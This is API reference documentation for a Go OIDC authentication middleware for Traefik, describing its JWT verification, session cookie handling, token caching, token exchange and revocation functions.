Verify performs standard claim validation on the JWT according to RFC 7519. It checks the following: - Algorithm ('alg') is supported. - Issuer ('iss') matches the expected issuerURL. - Audience ('aud') contains the expected clientID. - Expiration time ('exp') is in the future (within tolerance). - Issued at time ('iat') is in the past (within tolerance). - Not before time ('nbf'), if present, is in the past (within tolerance). - Subject ('sub') claim exists and is not empty. - JWT ID ('jti'), if present, is checked against a replay cache to prevent token reuse.

Parameters:

  • issuerURL: The expected issuer URL (e.g., "https://accounts.google.com").
  • clientID: The expected audience value (the client ID of this application).

Returns:

  • nil if all standard claims are valid.
  • An error describing the first validation failure encountered.

type JWTVerifier

type JWTVerifier interface {
	VerifyJWTSignatureAndClaims(jwt *JWT, token string) error
}

JWTVerifier interface for JWT verification

type Logger

type Logger struct {
	// contains filtered or unexported fields
}

Logger provides structured logging capabilities with different severity levels. It supports error, info, and debug levels with appropriate output streams and formatting for each level.

func NewLogger

func NewLogger(logLevel string) *Logger

NewLogger creates and configures a new Logger instance based on the provided log level. It initializes loggers for ERROR (stderr), INFO (stdout), and DEBUG (stdout) levels, enabling output based on the specified level:

  • "error": Only ERROR messages are output.
  • "info": INFO and ERROR messages are output.
  • "debug": DEBUG, INFO, and ERROR messages are output.

If an invalid level is provided, it defaults to behavior similar to "error".

Parameters:

  • logLevel: The desired logging level ("debug", "info", or "error").

Returns:

  • A pointer to the configured Logger instance.

func (*Logger) Debug

func (l *Logger) Debug(format string, args ...interface{})

Debug logs a message at the DEBUG level using Printf style formatting. Output is directed to stdout only if the configured log level is "debug".

Parameters:

  • format: The format string (as in fmt.Printf).
  • args: The arguments for the format string.

func (*Logger) Debugf

func (l *Logger) Debugf(format string, args ...interface{})

Debugf logs a message at the DEBUG level using Printf style formatting. Equivalent to calling l.Debug(format, args...). Output is directed to stdout only if the configured log level is "debug".

Parameters:

  • format: The format string (as in fmt.Printf).
  • args: The arguments for the format string.

func (*Logger) Error

func (l *Logger) Error(format string, args ...interface{})

Error logs a message at the ERROR level using Printf style formatting. Output is always directed to stderr, regardless of the configured log level.

Parameters:

  • format: The format string (as in fmt.Printf).
  • args: The arguments for the format string.

func (*Logger) Errorf

func (l *Logger) Errorf(format string, args ...interface{})

Errorf logs a message at the ERROR level using Printf style formatting. Equivalent to calling l.Error(format, args...). Output is always directed to stderr, regardless of the configured log level.

Parameters:

  • format: The format string (as in fmt.Printf).
  • args: The arguments for the format string.

func (*Logger) Info

func (l *Logger) Info(format string, args ...interface{})

Info logs a message at the INFO level using Printf style formatting. Output is directed to stdout if the configured log level is "info" or "debug".

Parameters:

  • format: The format string (as in fmt.Printf).
  • args: The arguments for the format string.

func (*Logger) Infof

func (l *Logger) Infof(format string, args ...interface{})

Infof logs a message at the INFO level using Printf style formatting. Equivalent to calling l.Info(format, args...). Output is directed to stdout if the configured log level is "info" or "debug".

Parameters:

  • format: The format string (as in fmt.Printf).
  • args: The arguments for the format string.

type MetadataCache

type MetadataCache struct {
	// contains filtered or unexported fields
}

func NewMetadataCache

func NewMetadataCache() *MetadataCache

NewMetadataCache creates a new MetadataCache instance. It initializes the cache structure and starts the background cleanup goroutine.

func (*MetadataCache) Cleanup

func (c *MetadataCache) Cleanup()

Cleanup removes the cached provider metadata if it has expired. This is called periodically by the auto-cleanup goroutine.

func (*MetadataCache) Close

func (c *MetadataCache) Close()

Close stops the automatic cleanup goroutine associated with this metadata cache.

func (*MetadataCache) GetMetadata

func (c *MetadataCache) GetMetadata(providerURL string, httpClient *http.Client, logger *Logger) (*ProviderMetadata, error)

GetMetadata retrieves the OIDC provider metadata. It first checks the cache for valid, non-expired metadata. If found, it's returned immediately. If the cache is empty or expired, it attempts to fetch the metadata from the provider's well-known endpoint using discoverProviderMetadata. If fetching is successful, the new metadata is cached for 1 hour. If fetching fails but valid metadata exists in the cache (even if expired), the cache expiry is extended by 5 minutes, and the cached data is returned to prevent thundering herd issues. If fetching fails and there's no cached data, an error is returned. It employs double-checked locking for thread safety and performance.

Parameters:

  • providerURL: The base URL of the OIDC provider.
  • httpClient: The HTTP client to use for fetching metadata.
  • logger: The logger instance for recording errors or warnings.

Returns:

  • A pointer to the ProviderMetadata struct.
  • An error if metadata cannot be retrieved from cache or fetched from the provider.

type ProviderMetadata

type ProviderMetadata struct {
	Issuer        string `json:"issuer"`
	AuthURL       string `json:"authorization_endpoint"`
	TokenURL      string `json:"token_endpoint"`
	JWKSURL       string `json:"jwks_uri"`
	RevokeURL     string `json:"revocation_endpoint"`
	EndSessionURL string `json:"end_session_endpoint"`
}

ProviderMetadata holds OIDC provider metadata

type SessionData

type SessionData struct {
	// contains filtered or unexported fields
}

SessionData holds all session information for an authenticated user. It manages multiple session cookies to handle the main session state and potentially large access and refresh tokens that may need to be split across multiple cookies due to browser size limitations.

func (*SessionData) Clear

func (sd *SessionData) Clear(r *http.Request, w http.ResponseWriter) error

Clear removes all session data associated with this SessionData instance. It clears the values map of the main, access, and refresh sessions, sets their MaxAge to -1 to expire the cookies immediately, and clears any associated token chunk cookies. If a ResponseWriter is provided, it attempts to save the expired sessions to send the expiring Set-Cookie headers. Finally, it clears internal fields and returns the SessionData object to the pool.

Parameters:

  • r: The HTTP request (required by the underlying session store).
  • w: The HTTP response writer (optional). If provided, expiring Set-Cookie headers will be sent.

Returns:

  • An error if saving the expired sessions fails (only if w is not nil).

func (*SessionData) GetAccessToken

func (sd *SessionData) GetAccessToken() string

GetAccessToken retrieves the access token stored in the session. It handles reassembling the token from multiple cookie chunks if necessary and decompresses it if it was stored compressed.

Returns:

  • The complete, decompressed access token string, or an empty string if not found.

func (*SessionData) GetAuthenticated

func (sd *SessionData) GetAuthenticated() bool

GetAuthenticated checks if the session is marked as authenticated and has not exceeded the absolute session timeout.

Returns:

  • true if the "authenticated" flag is set to true and the session creation time is within the allowed timeout.
  • false otherwise.

func (*SessionData) GetCSRF

func (sd *SessionData) GetCSRF() string

GetCSRF retrieves the Cross-Site Request Forgery (CSRF) token stored in the main session.

Returns:

  • The CSRF token string, or an empty string if not set.

func (*SessionData) GetCodeVerifier

func (sd *SessionData) GetCodeVerifier() string

GetCodeVerifier retrieves the PKCE (Proof Key for Code Exchange) code verifier stored in the main session. This is only relevant if PKCE is enabled.

Returns:

  • The code verifier string, or an empty string if not set or PKCE is disabled.

func (*SessionData) GetEmail

func (sd *SessionData) GetEmail() string

GetEmail retrieves the authenticated user's email address stored in the main session. This is typically extracted from the ID token claims after successful authentication.

Returns:

  • The user's email address string, or an empty string if not set.

func (*SessionData) GetIDToken

func (sd *SessionData) GetIDToken() string

GetIDToken retrieves the ID token stored in the session. It handles reassembling the token from multiple cookie chunks if necessary and decompresses it if it was stored compressed.

Returns:

  • The complete, decompressed ID token string, or an empty string if not found.

func (*SessionData) GetIncomingPath

func (sd *SessionData) GetIncomingPath() string

GetIncomingPath retrieves the original request URI (including query parameters) that the user was trying to access before being redirected for authentication. This is stored in the main session to allow redirection back after successful login.

Returns:

  • The original request URI string, or an empty string if not set.

func (*SessionData) GetNonce

func (sd *SessionData) GetNonce() string

GetNonce retrieves the OIDC nonce value stored in the main session. The nonce is used to associate an ID token with the specific authentication request.

Returns:

  • The nonce string, or an empty string if not set.

func (*SessionData) GetRefreshToken

func (sd *SessionData) GetRefreshToken() string

GetRefreshToken retrieves the refresh token stored in the session. It handles reassembling the token from multiple cookie chunks if necessary and decompresses it if it was stored compressed.

Returns:

  • The complete, decompressed refresh token string, or an empty string if not found.

func (*SessionData) IsDirty

func (sd *SessionData) IsDirty() bool

IsDirty returns true if the session data has been modified since it was last loaded or saved.

func (*SessionData) MarkDirty

func (sd *SessionData) MarkDirty()

MarkDirty explicitly sets the dirty flag to true. This can be used when an operation doesn't change session data but should still trigger a session save (e.g., to ensure the cookie is re-issued).

func (*SessionData) Save

func (sd *SessionData) Save(r *http.Request, w http.ResponseWriter) error

Save persists all parts of the session (main, access token, refresh token, and any chunks) back to the client as cookies in the HTTP response. It applies secure cookie options obtained via getSessionOptions based on the request's security context.

Parameters:

  • r: The original HTTP request (used to determine security context for cookie options).
  • w: The HTTP response writer to which the Set-Cookie headers will be added.

Returns:

  • An error if saving any of the session components fails.

func (*SessionData) SetAccessToken

func (sd *SessionData) SetAccessToken(token string)

SetAccessToken stores the provided access token in the session. It first expires any existing access token chunk cookies. It then compresses the token. If the compressed token fits within a single cookie (maxCookieSize), it's stored directly in the primary access token session. Otherwise, the compressed token is split into chunks, and each chunk is stored in a separate numbered cookie (_oidc_raczylo_a_0, _oidc_raczylo_a_1, etc.).

Parameters:

  • token: The access token string to store.

func (*SessionData) SetAuthenticated

func (sd *SessionData) SetAuthenticated(value bool) error

SetAuthenticated sets the authentication status of the session. If setting to true, it generates a new secure session ID for the main session to prevent session fixation attacks and records the current time as the creation time.

Parameters:

  • value: The boolean authentication status (true for authenticated, false otherwise).

Returns:

  • An error if generating a new session ID fails when setting value to true.

func (*SessionData) SetCSRF

func (sd *SessionData) SetCSRF(token string)

SetCSRF stores the provided CSRF token string in the main session. This token is typically generated at the start of the authentication flow.

Parameters:

  • token: The CSRF token to store.

func (*SessionData) SetCodeVerifier

func (sd *SessionData) SetCodeVerifier(codeVerifier string)

SetCodeVerifier stores the provided PKCE code verifier string in the main session. This is typically called at the start of the authentication flow if PKCE is enabled.

Parameters:

  • codeVerifier: The PKCE code verifier string to store.

func (*SessionData) SetEmail

func (sd *SessionData) SetEmail(email string)

SetEmail stores the provided user email address string in the main session. This is typically called after successful authentication and claim extraction.

Parameters:

  • email: The user's email address to store.

func (*SessionData) SetIDToken

func (sd *SessionData) SetIDToken(token string)

SetIDToken stores the provided ID token in the session.

Parameters:

  • token: The ID token string to store.

func (*SessionData) SetIncomingPath

func (sd *SessionData) SetIncomingPath(path string)

SetIncomingPath stores the original request URI (path and query parameters) in the main session. This is typically called at the start of the authentication flow.

Parameters:

  • path: The original request URI string (e.g., "/protected/resource?id=123").

func (*SessionData) SetNonce

func (sd *SessionData) SetNonce(nonce string)

SetNonce stores the provided OIDC nonce string in the main session. This nonce is typically generated at the start of the authentication flow.

Parameters:

  • nonce: The nonce string to store.

func (*SessionData) SetRefreshToken

func (sd *SessionData) SetRefreshToken(token string)

SetRefreshToken stores the provided refresh token in the session. It first expires any existing refresh token chunk cookies. It then compresses the token. If the compressed token fits within a single cookie (maxCookieSize), it's stored directly in the primary refresh token session. Otherwise, the compressed token is split into chunks, and each chunk is stored in a separate numbered cookie (_oidc_raczylo_r_0, _oidc_raczylo_r_1, etc.).

Parameters:

  • token: The refresh token string to store.

type SessionManager

type SessionManager struct {
	// contains filtered or unexported fields
}

SessionManager handles the management of multiple session cookies for OIDC authentication. It provides functionality for storing and retrieving authentication state, tokens, and other session-related data across multiple cookies.

func NewSessionManager

func NewSessionManager(encryptionKey string, forceHTTPS bool, logger *Logger) (*SessionManager, error)

NewSessionManager creates a new session manager with the specified configuration. Parameters:

  • encryptionKey: Key used to encrypt session data (must be at least 32 bytes)
  • forceHTTPS: When true, forces secure cookie attributes regardless of request scheme
  • logger: Logger instance for recording session-related events

Returns an error if the encryption key does not meet minimum length requirements.

func (*SessionManager) GetSession

func (sm *SessionManager) GetSession(r *http.Request) (*SessionData, error)

GetSession retrieves all session data for the current request. It loads the main session and token sessions, including any chunked token data, and combines them into a single SessionData structure for easy access. Returns an error if any session component cannot be loaded.

type TemplatedHeader

type TemplatedHeader struct {
	// Name is the HTTP header name to set (e.g., "X-Forwarded-Email")
	Name string `json:"name"`

	// Value is the template string for the header value
	// Example: "{{.claims.email}}", "Bearer {{.accessToken}}"
	Value string `json:"value"`
}

TemplatedHeader represents a custom HTTP header with a templated value. The value can contain template expressions that will be evaluated for each authenticated request, such as {{.claims.email}} or {{.accessToken}}.

type TokenCache

type TokenCache struct {
	// contains filtered or unexported fields
}

TokenCache provides a caching mechanism for validated tokens. It stores token claims to avoid repeated validation of the same token, improving performance for frequently used tokens.

func NewTokenCache

func NewTokenCache() *TokenCache

NewTokenCache creates and initializes a new TokenCache. It internally creates a new generic Cache instance for storage.

func (*TokenCache) Cleanup

func (tc *TokenCache) Cleanup()

Cleanup triggers the cleanup process for the underlying generic cache, removing expired token entries.

func (*TokenCache) Close

func (tc *TokenCache) Close()

Close stops the cleanup goroutine in the underlying cache.

func (*TokenCache) Delete

func (tc *TokenCache) Delete(token string)

Delete removes the cached entry for a specific token string. It prefixes the token string before calling the underlying cache's Delete method.

Parameters:

  • token: The raw token string to remove from the cache.

func (*TokenCache) Get

func (tc *TokenCache) Get(token string) (map[string]interface{}, bool)

Get retrieves the cached claims for a given token string. It prefixes the token string before querying the underlying cache.

Parameters:

  • token: The raw token string to look up.

Returns:

  • The cached claims map if found and valid.
  • A boolean indicating whether the token was found in the cache (true if found, false otherwise).

func (*TokenCache) Set

func (tc *TokenCache) Set(token string, claims map[string]interface{}, expiration time.Duration)

Set stores the claims associated with a specific token string in the cache. It prefixes the token string to avoid potential collisions with other cache types and sets the provided expiration duration.

Parameters:

  • token: The raw token string (used as the key).
  • claims: The map of claims associated with the token.
  • expiration: The duration for which the cache entry should be valid.

type TokenExchanger

type TokenExchanger interface {
	ExchangeCodeForToken(ctx context.Context, grantType string, codeOrToken string, redirectURL string, codeVerifier string) (*TokenResponse, error)
	GetNewTokenWithRefreshToken(refreshToken string) (*TokenResponse, error)
	RevokeTokenWithProvider(token, tokenType string) error
}

TokenExchanger defines methods for OIDC token operations

type TokenResponse

type TokenResponse struct {
	// IDToken is the OIDC ID token containing user claims
	IDToken string `json:"id_token"`

	// AccessToken is the OAuth 2.0 access token for API access
	AccessToken string `json:"access_token"`

	// RefreshToken is the OAuth 2.0 refresh token for obtaining new tokens
	RefreshToken string `json:"refresh_token"`

	// ExpiresIn is the lifetime in seconds of the access token
	ExpiresIn int `json:"expires_in"`

	// TokenType is the type of token, typically "Bearer"
	TokenType string `json:"token_type"`
}

TokenResponse represents the response from the OIDC token endpoint. It contains the various tokens and metadata returned after successful code exchange or token refresh operations.

type TokenVerifier

type TokenVerifier interface {
	VerifyToken(token string) error
}

TokenVerifier interface for token verification

type TraefikOidc

type TraefikOidc struct {
	// contains filtered or unexported fields
}

TraefikOidc is the main struct for the OIDC middleware

func (*TraefikOidc) Close

func (t *TraefikOidc) Close() error

Close stops all background goroutines and closes resources.

func (*TraefikOidc) ExchangeCodeForToken

func (t *TraefikOidc) ExchangeCodeForToken(ctx context.Context, grantType string, codeOrToken string, redirectURL string, codeVerifier string) (*TokenResponse, error)

ExchangeCodeForToken provides the implementation for the TokenExchanger interface method. It directly calls the internal exchangeTokens method, passing through the arguments. This allows the TraefikOidc struct to act as its own default TokenExchanger, while still allowing mocking for tests.

func (*TraefikOidc) GetNewTokenWithRefreshToken

func (t *TraefikOidc) GetNewTokenWithRefreshToken(refreshToken string) (*TokenResponse, error)

GetNewTokenWithRefreshToken provides the implementation for the TokenExchanger interface method. It directly calls the internal getNewTokenWithRefreshToken helper method. This allows the TraefikOidc struct to act as its own default TokenExchanger, while still allowing mocking for tests.

func (*TraefikOidc) RevokeToken

func (t *TraefikOidc) RevokeToken(token string)

RevokeToken handles local revocation of a token. It removes the token from the validation cache (tokenCache) and adds the raw token string to the blacklist cache (tokenBlacklist) with a default expiration (24h). This prevents the token from being validated successfully even if it hasn't expired yet. Note: This does *not* revoke the token with the OIDC provider.

Parameters:

  • token: The raw token string to revoke locally.

func (*TraefikOidc) RevokeTokenWithProvider

func (t *TraefikOidc) RevokeTokenWithProvider(token, tokenType string) error

RevokeTokenWithProvider attempts to revoke a token directly with the OIDC provider using the revocation endpoint specified in the provider metadata or configuration. It sends a POST request with the token, token_type_hint, client_id, and client_secret.

Parameters:

  • token: The token (e.g., refresh token or access token) to revoke.
  • tokenType: The type hint for the token being revoked (e.g., "refresh_token").

Returns:

  • nil if the revocation request is successful (provider returns 200 OK).
  • An error if the request fails or the provider returns a non-OK status.

func (*TraefikOidc) ServeHTTP

func (t *TraefikOidc) ServeHTTP(rw http.ResponseWriter, req *http.Request)

ServeHTTP is the main entry point for incoming requests to the middleware. It orchestrates the OIDC authentication flow.

func (*TraefikOidc) VerifyJWTSignatureAndClaims

func (t *TraefikOidc) VerifyJWTSignatureAndClaims(jwt *JWT, token string) error

VerifyJWTSignatureAndClaims implements the JWTVerifier interface. It verifies the signature of a parsed JWT against the provider's public keys obtained from the JWKS endpoint, and then validates the standard JWT claims (iss, aud, exp, iat, nbf, sub, jti replay).

Parameters:

  • jwt: A pointer to the parsed JWT struct containing header and claims.
  • token: The original raw token string (used for signature verification).

Returns:

  • nil if both the signature and all standard claims are valid.
  • An error describing the validation failure (e.g., failed to get JWKS, missing kid/alg, no matching key, signature verification failed, standard claim validation failed).

func (*TraefikOidc) VerifyToken

func (t *TraefikOidc) VerifyToken(token string) error

VerifyToken implements the TokenVerifier interface. It performs a comprehensive validation of an ID token: 1. Checks the token cache; returns nil immediately if a valid cached entry exists. 2. Performs pre-verification checks (rate limiting, blacklist). 3. Parses the raw token string into a JWT struct. 4. Verifies the JWT signature and standard claims (iss, aud, exp, iat, nbf, sub) using VerifyJWTSignatureAndClaims. 5. If verification succeeds, caches the token claims until the token's expiration time. 6. If verification succeeds and the token has a JTI claim, adds the JTI to the blacklist cache to prevent replay attacks.

Parameters:

  • token: The raw ID token string to verify.

Returns:

  • nil if the token is valid according to all checks.
  • An error describing the reason for validation failure (e.g., rate limit, blacklisted, parsing error, signature error, claim error).

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL